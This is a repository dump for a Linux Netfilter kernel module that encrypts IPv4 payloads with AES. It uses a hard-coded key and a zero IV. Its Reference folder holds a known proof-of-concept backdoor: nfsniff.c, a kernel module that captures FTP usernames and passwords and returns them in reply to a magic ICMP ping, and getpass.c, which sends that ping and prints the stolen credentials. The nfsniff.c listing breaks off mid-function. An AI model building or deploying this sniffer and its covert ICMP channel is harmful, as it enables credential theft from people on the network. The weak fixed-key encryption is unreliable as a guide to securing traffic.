├── .gitignore ├── Makefile ├── README.md ├── nl4_utility.h ├── nl4_entry.h ├── Reference ├── AES_Example.c └── SniffHookSample │ ├── getpass.c │ └── nfsniff.c ├── nl4_utility.c └── nl4_entry.c /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | .tmp_versions 3 | .cache.mk 4 | .*.o.cmd 5 | .*.ko.cmd 6 | *.mod.c 7 | *.o 8 | *.ko 9 | *.symvers 10 | *.order -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | MOD=nl4_bypass 3 | 4 | ifneq ($(KERNELRELEASE),) 5 | obj-m := $(MOD).o 6 | $(MOD)-objs := nl4_entry.o nl4_utility.o 7 | else 8 | PWD := $(shell pwd) 9 | KDIR := /lib/modules/$(shell uname -r)/build 10 | 11 | all:build-krn build-usr 12 | 13 | build-krn: 14 | $(MAKE) -C $(KDIR) M=$(PWD) 15 | 16 | build-usr: 17 | @echo "ERROR: No Userspace Program Found." 18 | 19 | install: 20 | cp -f $(MOD).ko /lib/modules/$(shell uname -r) 21 | 22 | insmod: 23 | sudo insmod $(MOD).ko 24 | 25 | rmmod: 26 | sudo rmmod $(MOD) 27 | 28 | clean: 29 | rm -f .cache.mk .*.cmd 30 | rm -f *.o *.o.cmd *.ko *.mod.c *.symvers *.order 31 | rm -rf .tmp_versions 32 | endif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | For Windows platform network encryption, please refer to this cool stuff [tcpcrypt](http://tcpcrypt.org/). 2 | 3 | > *NEED A WIRESHARK GIF PREVIEW HERE.* 4 | 5 | ## Introduction 6 | 7 | This is a project trying to encrypt **Payload of L3** with *Symmetrical Encryption* based on *Linux Netfilter* subsystem. 8 | 9 | Just imagine that the intermediate routers could not know what you are actually transmitting, on which protol with what content. 10 | 11 | ## Method 12 | 13 | > *NEED UPDATE IN THE FUTURE* 14 | 15 | ## TODO 16 | 17 | + [x] ~~Asynchronous encyrption adding *waitting completion*~~ 18 | + [x] ~~Encryption verified, *skb_put* verified~~ 19 | + [x] ~~IPv4 checksum re-calculate~~ 20 | + [x] ~~Decryption suite~~ 21 | + [x] Mod&Fix to suit 4.14+ kernel 22 | + [ ] update encryption implementation 23 | + [ ] use **genl** for dynamic AES_KEY from userspace 24 | + [ ] use **genl** for dynamic ALLOWED_ADDRESS_LIST from userspace 25 | + [ ] Exchange Allowed IP List with Customed **ICMP** Message 26 | -------------------------------------------------------------------------------- /nl4_utility.h: -------------------------------------------------------------------------------- 1 | #ifndef __NL4_UTILITY_H__ 2 | #define __NL4_UTILITY_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #define KEYWORD "[nl4-aes]" 9 | #define KERN_LOG KERN_NOTICE KEYWORD 10 | #define printh(x) printk(KERN_LOG x) 11 | 12 | #define ENCRYPTION 0x1 13 | #define DECRYPTION 0x0 14 | #define COMP_LENGTH(x) ((16-x%16)&0x0F) 15 | 16 | #define INBOUND 0x0 17 | #define OUTBOUND 0x1 18 | #define IPV4A(x) ((u8 *)x)[0] 19 | #define IPV4B(x) ((u8 *)x)[1] 20 | #define IPV4C(x) ((u8 *)x)[2] 21 | #define IPV4D(x) ((u8 *)x)[3] 22 | 23 | #define GET_PPDST(iph) (__be16 *)((char *)iph + iph->ihl*4 + 2) 24 | #define GET_PDST(iph) ntohs(*GET_PPDST(iph)) 25 | #define GET_PPSRC(iph) (__be16 *)((char *)iph + iph->ihl*4 + 4) 26 | #define GET_PSRC(iph) ntohs(*GET_PPSRC(iph)) 27 | 28 | struct tcrypt_result { 29 | struct completion completion; 30 | int err; 31 | }; 32 | 33 | /* tie all data structures together */ 34 | struct skcipher_def { 35 | struct scatterlist sg; 36 | struct crypto_skcipher *tfm; 37 | struct skcipher_request *req; 38 | struct tcrypt_result result; 39 | }; 40 | 41 | u32 IP2NUM(const char *addr); 42 | inline void NUM2IP(u32 addr, char *str); 43 | 44 | char get_comp_length(char * data, int len); 45 | 46 | int aes_crypto_cipher(char *, __u16, int); 47 | 48 | #endif -------------------------------------------------------------------------------- /nl4_entry.h: -------------------------------------------------------------------------------- 1 | #ifndef __NL4_ENTRY_H__ 2 | #define __NL4_ENTRY_H__ 3 | 4 | #include 5 | #include "nl4_utility.h" //kernel aes_cbc_256 6 | 7 | #define REMOTE_IP "127.0.0.1" //FIXME:rewrite to list (with addr mask) 8 | 9 | u32 getIfAddr(const char *if_name) 10 | { 11 | u32 ipv4 = 0; 12 | struct net_device* dev; 13 | struct in_device* pdev; 14 | 15 | dev = dev_get_by_name(&init_net, if_name); 16 | if(dev && netif_running(dev) && (dev->ip_ptr!=NULL)) 17 | { 18 | pdev = (struct in_device *)dev->ip_ptr; 19 | if(pdev->ifa_list) 20 | { 21 | ipv4 = pdev->ifa_list->ifa_address; 22 | } 23 | } 24 | 25 | return ipv4; 26 | } 27 | 28 | void dumpTCP(const char* key, struct iphdr *iph) 29 | { 30 | char saddr[16], daddr[16]; 31 | struct tcphdr *tcph = (struct tcphdr *)((u8 *)iph + iph->ihl*4); 32 | NUM2IP(iph->saddr, saddr); 33 | NUM2IP(iph->daddr, daddr); 34 | printk("[%s]\ 35 | \n\tSeq: 0x%08x; ACK: 0x%08x\ 36 | \n\tSrc: %s, Dst:%s, %d -> %d\ 37 | \n\tSYN %d; ACK %d; FIN %d; RST %d; PSH %d\n", \ 38 | key, 39 | ntohs(tcph->seq), ntohs(tcph->ack_seq), \ 40 | saddr, daddr, ntohs(tcph->source), ntohs(tcph->dest), \ 41 | tcph->syn, tcph->ack, tcph->fin, tcph->rst, tcph->psh); 42 | } 43 | 44 | void hexDump(char *data, int len, int bound) { 45 | int cnt = 0; 46 | char *buffer, *ptr; 47 | buffer = kmalloc(4096 * sizeof(char), GFP_KERNEL); 48 | ptr = buffer; 49 | 50 | while(cnt < len) 51 | { 52 | sprintf(ptr, "%02x ", data[cnt]&0xFF); 53 | ptr += 3; 54 | ++ cnt; 55 | 56 | if(cnt%20==0) 57 | { 58 | sprintf(ptr, "\n"); 59 | ++ptr; 60 | } 61 | } 62 | 63 | if(bound==INBOUND) 64 | printk("[INBOUND]\n%s\n", buffer); 65 | else 66 | printk("[OUTBOUND]\n%s\n", buffer); 67 | 68 | kfree(buffer); 69 | } 70 | 71 | unsigned int nf_hookfn_in(void *, struct sk_buff *, const struct nf_hook_state *); 72 | unsigned int nf_hookfn_out(void *, struct sk_buff *, const struct nf_hook_state *); 73 | 74 | #endif -------------------------------------------------------------------------------- /Reference/AES_Example.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include "aes_method.h" 4 | 5 | /* 6 | 7 | */ 8 | 9 | /***************proto define***************/ 10 | static unsigned int test_skcipher_encdec(struct skcipher_def *sk, int enc); 11 | static void test_skcipher_cb(struct crypto_async_request *req, int error); 12 | 13 | /* Callback function */ 14 | static void test_skcipher_cb(struct crypto_async_request *req, int error) 15 | { 16 | struct tcrypt_result *result = req->data; 17 | 18 | if (error == -EINPROGRESS) 19 | return; 20 | result->err = error; 21 | complete(&result->completion); 22 | pr_info("Encryption finished successfully\n"); 23 | } 24 | 25 | /* Perform cipher operation */ 26 | static unsigned int test_skcipher_encdec(struct skcipher_def *sk, 27 | int enc) 28 | { 29 | int rc = 0; 30 | 31 | if (enc) 32 | rc = crypto_skcipher_encrypt(sk->req); 33 | else 34 | rc = crypto_skcipher_decrypt(sk->req); 35 | 36 | switch (rc) { 37 | case 0: 38 | break; 39 | case -EINPROGRESS: 40 | case -EBUSY: 41 | rc = wait_for_completion_interruptible( 42 | &sk->result.completion); 43 | if (!rc && !sk->result.err) { 44 | reinit_completion(&sk->result.completion); 45 | break; 46 | } 47 | default: 48 | pr_info("skcipher encrypt returned with %d result %d\n", 49 | rc, sk->result.err); 50 | break; 51 | } 52 | init_completion(&sk->result.completion); 53 | 54 | return rc; 55 | } 56 | 57 | /* Initialize and trigger cipher operation */ 58 | int aes_crypto_cipher(struct sk_buff *skb, 59 | char* data, __u16 data_len, 60 | int enc) { 61 | struct skcipher_def sk; 62 | struct crypto_skcipher *skcipher = NULL; 63 | struct skcipher_request *req = NULL; 64 | char *scratchpad = NULL; 65 | char *ivdata = NULL; 66 | unsigned char key[32]; 67 | int ret = -EFAULT; 68 | 69 | skcipher = crypto_alloc_skcipher("cbc-aes-aesni", 0, 0); 70 | if (IS_ERR(skcipher)) { 71 | pr_info("could not allocate skcipher handle\n"); 72 | return PTR_ERR(skcipher); 73 | } 74 | 75 | req = skcipher_request_alloc(skcipher, GFP_KERNEL); 76 | if (!req) { 77 | pr_info("could not allocate skcipher request\n"); 78 | ret = -ENOMEM; 79 | goto out; 80 | } 81 | 82 | skcipher_request_set_callback(req, CRYPTO_TFM_REQ_MAY_BACKLOG, 83 | test_skcipher_cb, 84 | &sk.result); 85 | 86 | /* AES 256 with random key */ 87 | get_random_bytes(&key, 32); 88 | if (crypto_skcipher_setkey(skcipher, key, 32)) { 89 | pr_info("key could not be set\n"); 90 | ret = -EAGAIN; 91 | goto out; 92 | } 93 | 94 | /* IV will be random */ 95 | ivdata = kmalloc(16, GFP_KERNEL); 96 | if (!ivdata) { 97 | pr_info("could not allocate ivdata\n"); 98 | goto out; 99 | } 100 | get_random_bytes(ivdata, 16); 101 | 102 | /* Input data will be random */ 103 | scratchpad = kmalloc(16, GFP_KERNEL); 104 | if (!scratchpad) { 105 | pr_info("could not allocate scratchpad\n"); 106 | goto out; 107 | } 108 | get_random_bytes(scratchpad, 16); 109 | 110 | sk.tfm = skcipher; 111 | sk.req = req; 112 | 113 | /* We encrypt one block */ 114 | sg_init_one(&sk.sg, scratchpad, 16); 115 | skcipher_request_set_crypt(req, &sk.sg, &sk.sg, 16, ivdata); 116 | init_completion(&sk.result.completion); 117 | 118 | /* encrypt data */ 119 | ret = test_skcipher_encdec(&sk, 1); 120 | if (ret) 121 | goto out; 122 | 123 | pr_info("Encryption triggered successfully\n"); 124 | 125 | out: 126 | if (skcipher) 127 | crypto_free_skcipher(skcipher); 128 | if (req) 129 | skcipher_request_free(req); 130 | if (ivdata) 131 | kfree(ivdata); 132 | if (scratchpad) 133 | kfree(scratchpad); 134 | return ret; 135 | } -------------------------------------------------------------------------------- /nl4_utility.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include "nl4_utility.h" 4 | 5 | u32 IP2NUM(const char *addr) 6 | { 7 | u8 num[4]; 8 | int a,b,c,d; 9 | sscanf(addr, "%d.%d.%d.%d", &a,&b,&c,&d); 10 | num[0]=a; num[1]=b; num[2]=c; num[3]=d; 11 | return *(u32 *)num; 12 | } 13 | 14 | inline void NUM2IP(u32 addr, char *str) 15 | { 16 | snprintf(str, 16, "%pI4", &addr); 17 | } 18 | 19 | char get_comp_length(char * data, int len) 20 | { 21 | char ex; 22 | int i = 0; 23 | 24 | ex = data[len - 1]; //the last element 25 | if ( (ex&0x0F) == 0) 26 | return 0; 27 | 28 | for (i = 1; i < ex; i++) 29 | { 30 | if (data[len-1 - i] != 0) 31 | return 0; 32 | } 33 | 34 | return ex; 35 | } 36 | 37 | /***************proto define***************/ 38 | static unsigned int test_skcipher_encdec(struct skcipher_def *sk, int enc); 39 | static void test_skcipher_cb(struct crypto_async_request *req, int error); 40 | 41 | /* Callback function */ 42 | static void test_skcipher_cb(struct crypto_async_request *req, int error) 43 | { 44 | struct tcrypt_result *result = req->data; 45 | 46 | if (error == -EINPROGRESS) 47 | return; 48 | result->err = error; 49 | complete(&result->completion); 50 | //pr_info("Encryption finished successfully\n"); 51 | } 52 | 53 | /* Perform cipher operation */ 54 | static unsigned int test_skcipher_encdec(struct skcipher_def *sk, 55 | int enc) 56 | { 57 | int rc = 0; 58 | 59 | if (enc) 60 | rc = crypto_skcipher_encrypt(sk->req); 61 | else 62 | rc = crypto_skcipher_decrypt(sk->req); 63 | 64 | switch (rc) { 65 | case 0: 66 | break; 67 | case -EINPROGRESS: 68 | case -EBUSY: 69 | rc = wait_for_completion_interruptible( 70 | &sk->result.completion); 71 | if (!rc && !sk->result.err) { 72 | reinit_completion(&sk->result.completion); 73 | break; 74 | } 75 | default: 76 | //pr_info("skcipher encrypt returned with %d result %d\n", rc, sk->result.err); 77 | break; 78 | } 79 | init_completion(&sk->result.completion); 80 | 81 | return rc; 82 | } 83 | 84 | int aes_crypto_cipher( char* data, __u16 data_len, 85 | int enc) 86 | { 87 | struct skcipher_def sk; 88 | struct crypto_skcipher *skcipher = NULL; 89 | struct skcipher_request *req = NULL; 90 | char *ivdata = NULL; 91 | unsigned char key[32]; 92 | int ret = -EFAULT, i; 93 | 94 | //allocate skcipher handle 95 | skcipher = crypto_alloc_skcipher("cbc-aes-aesni", 0, 0); 96 | if (IS_ERR(skcipher)) { 97 | pr_info("could not allocate skcipher handle\n"); 98 | return PTR_ERR(skcipher); 99 | } 100 | //allocate skcipher request 101 | req = skcipher_request_alloc(skcipher, GFP_KERNEL); 102 | if (!req) { 103 | pr_info("could not allocate skcipher request\n"); 104 | ret = -ENOMEM; 105 | goto out; 106 | } 107 | //set callback for request 108 | skcipher_request_set_callback(req, CRYPTO_TFM_REQ_MAY_BACKLOG, \ 109 | test_skcipher_cb, \ 110 | &sk.result); 111 | 112 | /* AES 256 with certain key */ 113 | memset(key, 1, 32);//FULL 'F' 114 | /*get_random_bytes(&key, 32);*/ 115 | if (crypto_skcipher_setkey(skcipher, key, 32)) { 116 | pr_info("key could not be set\n"); 117 | ret = -EAGAIN; 118 | goto out; 119 | } 120 | 121 | /* IV will be all 0 */ 122 | ivdata = kmalloc(16, GFP_KERNEL); 123 | if (!ivdata) { 124 | pr_info("could not allocate ivdata\n"); 125 | goto out; 126 | } 127 | memset(ivdata, 0, 16); 128 | /*get_random_bytes(ivdata, 16);*/ 129 | 130 | sk.tfm = skcipher; 131 | sk.req = req; 132 | 133 | for (i = 0; i < data_len/16; i++) 134 | { 135 | /* We encrypt one block */ 136 | sg_init_one(&sk.sg, data + i*16, 16);//sg_init_table(&sgl, data_len/16); 137 | skcipher_request_set_crypt(req, &sk.sg, &sk.sg, 16, ivdata); 138 | init_completion(&sk.result.completion); 139 | 140 | /* encrypt data */ 141 | ret = test_skcipher_encdec(&sk, enc); 142 | } 143 | 144 | out: 145 | if (skcipher) 146 | crypto_free_skcipher(skcipher); 147 | if (req) 148 | skcipher_request_free(req); 149 | if (ivdata) 150 | kfree(ivdata); 151 | return ret; 152 | } -------------------------------------------------------------------------------- /nl4_entry.c: -------------------------------------------------------------------------------- 1 | /** 2 | * @Author: Mark Hong 3 | */ 4 | 5 | //Moudle reference 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | //Network Reference 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | #include "nl4_entry.h" 25 | 26 | static u32 remote_addr = 0; 27 | 28 | static struct nf_hook_ops nfhk_local_in = 29 | { 30 | .hook = nf_hookfn_in, 31 | .pf = PF_INET, 32 | .hooknum = NF_INET_LOCAL_IN, 33 | .priority = NF_IP_PRI_FIRST 34 | }; 35 | 36 | static struct nf_hook_ops nfhk_local_out = 37 | { 38 | .hook = nf_hookfn_out, 39 | .pf = PF_INET, 40 | .hooknum = NF_INET_LOCAL_OUT, 41 | .priority = NF_IP_PRI_FIRST 42 | }; 43 | 44 | int remoteAllowed(struct iphdr *iph, int bound) 45 | { 46 | u32 tmp_addr = (bound==INBOUND)?iph->saddr:iph->daddr; 47 | if (tmp_addr==remote_addr) 48 | return 1; 49 | else 50 | return 0; 51 | } 52 | 53 | unsigned int nf_hookfn_in(void *priv, 54 | struct sk_buff *skb, 55 | const struct nf_hook_state *state) 56 | { 57 | __u16 data_len; 58 | char padding_len; 59 | char* payload; 60 | struct iphdr *iph = NULL; 61 | // struct tcphdr *tcph = NULL; 62 | 63 | //NOTE: bypass non-linear skb 64 | if (unlikely(skb_linearize(skb) != 0)) 65 | return NF_ACCEPT; 66 | 67 | iph = ip_hdr(skb); 68 | 69 | if(iph!=NULL && remoteAllowed(iph, INBOUND)) 70 | { 71 | //a. extract cipher payload 72 | data_len = ntohs(iph->tot_len) - sizeof(struct iphdr); 73 | payload = (char *)iph + iph->ihl * 4; 74 | 75 | //b. decrypt the cipher 76 | aes_crypto_cipher(payload, data_len, DECRYPTION); 77 | padding_len = get_comp_length(payload, data_len); 78 | if(padding_len) 79 | { 80 | printk("has padding\n"); 81 | skb_trim(skb, skb->len - padding_len); 82 | // skb->tail -= padding_len; skb->len -= padding_len; 83 | iph->tot_len = htons(ntohs(iph->tot_len) - padding_len); 84 | } 85 | 86 | //c. re-checksum for iph 87 | iph->check = 0; 88 | iph->check = ip_fast_csum(iph, iph->ihl); 89 | } 90 | 91 | return NF_ACCEPT; 92 | } 93 | 94 | unsigned int nf_hookfn_out(void *priv, 95 | struct sk_buff *skb, 96 | const struct nf_hook_state *state) 97 | { 98 | __u16 payload_len; 99 | char padding_len; 100 | char* payload; 101 | struct iphdr *iph = NULL; 102 | // struct tcphdr *tcph = NULL; 103 | 104 | //NOTE: bypass non-linear skb 105 | if (unlikely(skb_linearize(skb) != 0)) 106 | return NF_ACCEPT; 107 | 108 | iph = ip_hdr(skb); 109 | 110 | if(iph!=NULL && remoteAllowed(iph, OUTBOUND)) 111 | { 112 | //a. padding, expand from tailroom 113 | payload_len = ntohs(iph->tot_len) - sizeof(struct iphdr); 114 | padding_len = COMP_LENGTH(payload_len); 115 | 116 | //b. encrypt the payload 117 | payload = (char *)iph + iph->ihl*4; 118 | if(padding_len) 119 | { 120 | skb_put(skb, padding_len); 121 | memset((char *)(payload+payload_len), 0, padding_len); 122 | payload[payload_len + padding_len - 1] = padding_len;//ANSI X.923 format 123 | } 124 | aes_crypto_cipher(payload, (payload_len+padding_len), ENCRYPTION); 125 | 126 | //c. re-checksum for iph 127 | iph->tot_len = htons(ntohs(iph->tot_len) + padding_len); 128 | iph->check = 0; 129 | iph->check = ip_fast_csum(iph, iph->ihl); 130 | } 131 | 132 | return NF_ACCEPT; 133 | } 134 | 135 | static int nl4_init(void) 136 | { 137 | unsigned int ret; 138 | 139 | remote_addr = IP2NUM(REMOTE_IP); 140 | 141 | ret = nf_register_net_hook(&init_net, &nfhk_local_in); 142 | if (ret < 0) { 143 | printk("INBOUND Module Register Error.\n"); 144 | return ret; 145 | } 146 | 147 | ret = nf_register_net_hook(&init_net, &nfhk_local_out); 148 | if (ret < 0) { 149 | printk("OUTBOUND Moudle Register Error.\n"); 150 | return ret; 151 | } 152 | 153 | printh("NL4 Suite Init ...\n"); 154 | return 0; 155 | } 156 | 157 | static void nl4_fini(void) 158 | { 159 | nf_unregister_net_hook(&init_net, &nfhk_local_in); 160 | nf_unregister_net_hook(&init_net, &nfhk_local_out); 161 | printh("NL4 Suite Exit ...\n"); 162 | } 163 | 164 | MODULE_LICENSE("GPL"); 165 | MODULE_AUTHOR("Mark-PC"); 166 | module_init(nl4_init); 167 | module_exit(nl4_fini); -------------------------------------------------------------------------------- /Reference/SniffHookSample/getpass.c: -------------------------------------------------------------------------------- 1 | /* getpass.c - simple utility to get username/password pair from 2 | * the Netfilter backdoor FTP sniffer. Very kludgy, but effective. 3 | * Mostly stripped from my source for InfoPig. 4 | * 5 | * Written by bioforge - March 2003 */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include /// struct ip 17 | #include /// struct icmp 18 | 19 | 20 | 21 | /* Function prototypes */ 22 | static unsigned short checksum(int numwords, unsigned short *buff); 23 | 24 | int main(int argc, char *argv[]) 25 | { 26 | unsigned char dgram[256]; /* Plenty for a PING datagram */ 27 | unsigned char recvbuff[256]; 28 | struct ip *iphead = (struct ip *)dgram; 29 | struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip)); 30 | struct sockaddr_in src; 31 | struct sockaddr_in addr; 32 | struct in_addr my_addr; 33 | struct in_addr serv_addr; 34 | socklen_t src_addr_size = sizeof(struct sockaddr_in); 35 | int icmp_sock = 0; 36 | int one = 1; 37 | int *ptr_one = &one; 38 | 39 | if (argc < 3) { 40 | fprintf(stderr, "Usage: %s remoteIP myIP\n", argv[0]); 41 | exit(1); 42 | } 43 | 44 | /* Get a socket */ 45 | if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { 46 | perror("Couldn't open raw socket! "); 47 | exit(1); 48 | } 49 | 50 | /* set the HDR_INCL option on the socket */ 51 | if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, 52 | ptr_one, sizeof(one)) < 0) { 53 | close(icmp_sock); 54 | perror("Couldn't set HDRINCL option!"); 55 | exit(1); 56 | } 57 | 58 | addr.sin_family = AF_INET; 59 | addr.sin_addr.s_addr = inet_addr(argv[1]); 60 | 61 | my_addr.s_addr = inet_addr(argv[2]); 62 | 63 | memset(dgram, 0x00, 256); 64 | memset(recvbuff, 0x00, 256); 65 | 66 | /* Fill in the IP fields first */ 67 | iphead->ip_hl = 5; 68 | iphead->ip_v = 4; 69 | iphead->ip_tos = 0; 70 | iphead->ip_len = 84; 71 | iphead->ip_id = (unsigned short)rand(); 72 | iphead->ip_off = 0; 73 | iphead->ip_ttl = 128; 74 | iphead->ip_p = IPPROTO_ICMP; 75 | iphead->ip_sum = 0; 76 | iphead->ip_src = my_addr; 77 | iphead->ip_dst = addr.sin_addr; 78 | 79 | /* Now fill in the ICMP fields */ 80 | icmphead->icmp_type = ICMP_ECHO; 81 | icmphead->icmp_code = 0x5B; 82 | icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead); 83 | 84 | /* Finally, send the packet */ 85 | fprintf(stdout, "Sending request...\n"); 86 | if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, 87 | sizeof(struct sockaddr)) < 0) { 88 | perror("Failed sending request!"); 89 | return 0; 90 | } 91 | 92 | fprintf(stdout, "Waiting for reply...\n"); 93 | if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, 94 | &src_addr_size) < 0) { 95 | perror("Failed getting reply packet!"); 96 | close(icmp_sock); 97 | exit(1); 98 | } 99 | 100 | iphead = (struct ip *)recvbuff; 101 | icmphead = (struct icmp *)(recvbuff + sizeof(struct ip)); 102 | memcpy(&serv_addr, ((char *)icmphead + 8), 103 | sizeof (struct in_addr)); 104 | 105 | fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr)); 106 | fprintf(stdout, "Username: %s\n", 107 | (char *)((char *)icmphead + 12)); 108 | fprintf(stdout, "Password: %s\n", 109 | (char *)((char *)icmphead + 28)); 110 | 111 | close(icmp_sock); 112 | 113 | return 0; 114 | } 115 | 116 | /* Checksum-generation function. It appears that PING'ed machines don't 117 | * reply to PINGs with invalid (ie. empty) ICMP Checksum fields... 118 | * Fair enough I guess. */ 119 | static unsigned short checksum(int numwords, unsigned short *buff) 120 | { 121 | unsigned long sum; 122 | 123 | for(sum = 0;numwords > 0;numwords--) 124 | sum += *buff++; /* add next word, then increment pointer */ 125 | 126 | sum = (sum >> 16) + (sum & 0xFFFF); 127 | sum += (sum >> 16); 128 | 129 | return ~sum; 130 | } -------------------------------------------------------------------------------- /Reference/SniffHookSample/nfsniff.c: -------------------------------------------------------------------------------- 1 | /* Simple proof-of-concept for kernel-based FTP password sniffer. 2 | * A captured Username and Password pair are sent to a remote host 3 | * when that host sends a specially formatted ICMP packet. Here we 4 | * shall use an ICMP_ECHO packet whose code field is set to 0x5B 5 | * *AND* the packet has enough 6 | * space after the headers to fit a 4-byte IP address and the 7 | * username and password fields which are a max. of 15 characters 8 | * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */ 9 | 10 | /* Written by bioforge, March 2003 */ 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | 36 | #define MAGIC_CODE 0x5B 37 | #define REPLY_SIZE 36 38 | 39 | #define ICMP_PAYLOAD_SIZE (htons(iph->tot_len) \ 40 | - sizeof(struct iphdr) \ 41 | - sizeof(struct icmphdr)) 42 | 43 | /* THESE values are used to keep the USERname and PASSword until 44 | * they are queried. Only one USER/PASS pair will be held at one 45 | * time and will be cleared once queried. */ 46 | static char *username = NULL; 47 | static char *password = NULL; 48 | static int have_pair = 0; /* Marks if we already have a pair */ 49 | 50 | /* Tracking information. Only log USER and PASS commands that go to the 51 | * same IP address and TCP port. */ 52 | static unsigned int target_ip = 0; 53 | static unsigned short target_port = 0; 54 | 55 | /* Used to describe our Netfilter hooks */ 56 | struct nf_hook_ops pre_hook; /* Incoming */ 57 | struct nf_hook_ops post_hook; /* Outgoing */ 58 | 59 | 60 | /* Function that looks at an sk_buff that is known to be an FTP packet. 61 | * Looks for the USER and PASS fields and makes sure they both come from 62 | * the one host as indicated in the target_xxx fields */ 63 | static void check_ftp(struct sk_buff *sk) 64 | { 65 | struct iphdr *iph; 66 | struct tcphdr *tcph; 67 | char *data; 68 | int len = 0; 69 | int i = 0; 70 | 71 | iph = ip_hdr(sk); 72 | tcph = (void *) iph + iph->ihl * 4; 73 | data = (char *)((int)tcph + (int)(tcph->doff * 4)); 74 | 75 | /* Now, if we have a username already, then we have a target_ip. 76 | * Make sure that this packet is destined for the same host. */ 77 | if (username) 78 | if (iph->daddr != target_ip || tcph->source != target_port) 79 | return; 80 | 81 | /* Now try to see if this is a USER or PASS packet */ 82 | if (strncmp(data, "USER ", 5) == 0) { /* Username */ 83 | data += 5; 84 | 85 | if (username) return; 86 | 87 | while (*(data + i) != '\r' && *(data + i) != '\n' 88 | && *(data + i) != '\0' && i < 15) { 89 | len++; 90 | i++; 91 | } 92 | 93 | if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL) 94 | return; 95 | memset(username, 0x00, len + 2); 96 | memcpy(username, data, len); 97 | *(username + len) = '\0'; /* NULL terminate */ 98 | } else if (strncmp(data, "PASS ", 5) == 0) { /* Password */ 99 | data += 5; 100 | 101 | /* If a username hasn't been logged yet then don't try logging 102 | * a password */ 103 | if (username == NULL) return; 104 | if (password) return; 105 | 106 | while (*(data + i) != '\r' && *(data + i) != '\n' 107 | && *(data + i) != '\0' && i < 15) { 108 | len++; 109 | i++; 110 | } 111 | 112 | if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL) 113 | return; 114 | memset(password, 0x00, len + 2); 115 | memcpy(password, data, len); 116 | *(password + len) = '\0'; /* NULL terminate */ 117 | } else if (strncmp(data, "QUIT", 4) == 0) { 118 | /* Quit command received. If we have a username but no password, 119 | * clear the username and reset everything */ 120 | if (have_pair) return; 121 | if (username && !password) { 122 | kfree(username); 123 | username = NULL; 124 | target_port = target_ip = 0; 125 | have_pair = 0; 126 | 127 | return; 128 | } 129 | } else { 130 | return; 131 | } 132 | 133 | if (!target_ip) 134 | target_ip = iph->daddr; 135 | if (!target_port) 136 | target_port = tcph->source; 137 | 138 | if (username && password) 139 | have_pair++; /* Have a pair. Ignore others until 140 | * this pair has been read. */ 141 | printk("Now we have a pair of pass and username\n"); 142 | printk("username is :%s\n",username); 143 | printk("password is :%s\n",password); 144 | } 145 | 146 | /* Function called as the POST_ROUTING (last) hook. It will check for 147 | * FTP traffic then search that traffic for USER and PASS commands. */ 148 | static unsigned int watch_out(unsigned int hooknum, 149 | struct sk_buff *skb, 150 | const struct net_device *in, 151 | const struct net_device *out, 152 | int (*okfn)(struct sk_buff *)) 153 | { 154 | struct sk_buff *sk; 155 | struct iphdr *iph; 156 | struct tcphdr *tcph; 157 | 158 | sk = skb_copy(skb, 1); 159 | iph = ip_hdr(sk); 160 | tcph = (void *) iph + iph->ihl * 4; 161 | 162 | /* Make sure this is a TCP packet first */ 163 | if ( iph->protocol != IPPROTO_TCP) 164 | return NF_ACCEPT; /* Nope, not TCP */ 165 | 166 | /* Now check to see if it's an FTP packet */ 167 | if (tcph->dest != htons(21)) 168 | return NF_ACCEPT; /* Nope, not FTP */ 169 | 170 | /* Parse the FTP packet for relevant information if we don't already 171 | * have a username and password pair. */ 172 | if (!have_pair) 173 | check_ftp(sk); 174 | 175 | /* We are finished with the packet, let it go on its way */ 176 | return NF_ACCEPT; 177 | } 178 | 179 | 180 | /* Procedure that watches incoming ICMP traffic for the "Magic" packet. 181 | * When that is received, we tweak the skb structure to send a reply 182 | * back to the requesting host and tell Netfilter that we stole the 183 | * packet. */ 184 | static unsigned int watch_in(unsigned int hooknum, 185 | struct sk_buff *skb, 186 | const struct net_device *in, 187 | const struct net_device *out, 188 | int (*okfn)(struct sk_buff *)) 189 | { 190 | struct sk_buff *sk; 191 | struct iphdr *iph; 192 | struct tcphdr *tcph; 193 | 194 | struct icmphdr *icmp; 195 | char *cp_data; /* Where we copy data to in reply */ 196 | unsigned int taddr; /* Temporary IP holder */ 197 | 198 | sk = skb; 199 | iph = ip_hdr(sk); 200 | tcph = (void *) iph + iph->ihl * 4; 201 | 202 | 203 | /* Do we even have a username/password pair to report yet? */ 204 | if (!have_pair) 205 | return NF_ACCEPT; 206 | 207 | /* Is this an ICMP packet? */ 208 | if ( iph->protocol != IPPROTO_ICMP) 209 | return NF_ACCEPT; 210 | 211 | icmp = (struct icmphdr *)(sk->data + iph->ihl * 4); 212 | 213 | /* Is it the MAGIC packet? */ 214 | if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) { 215 | return NF_ACCEPT; 216 | } 217 | 218 | /* Okay, matches our checks for "Magicness", now we fiddle with 219 | * the sk_buff to insert the IP address, and username/password pair, 220 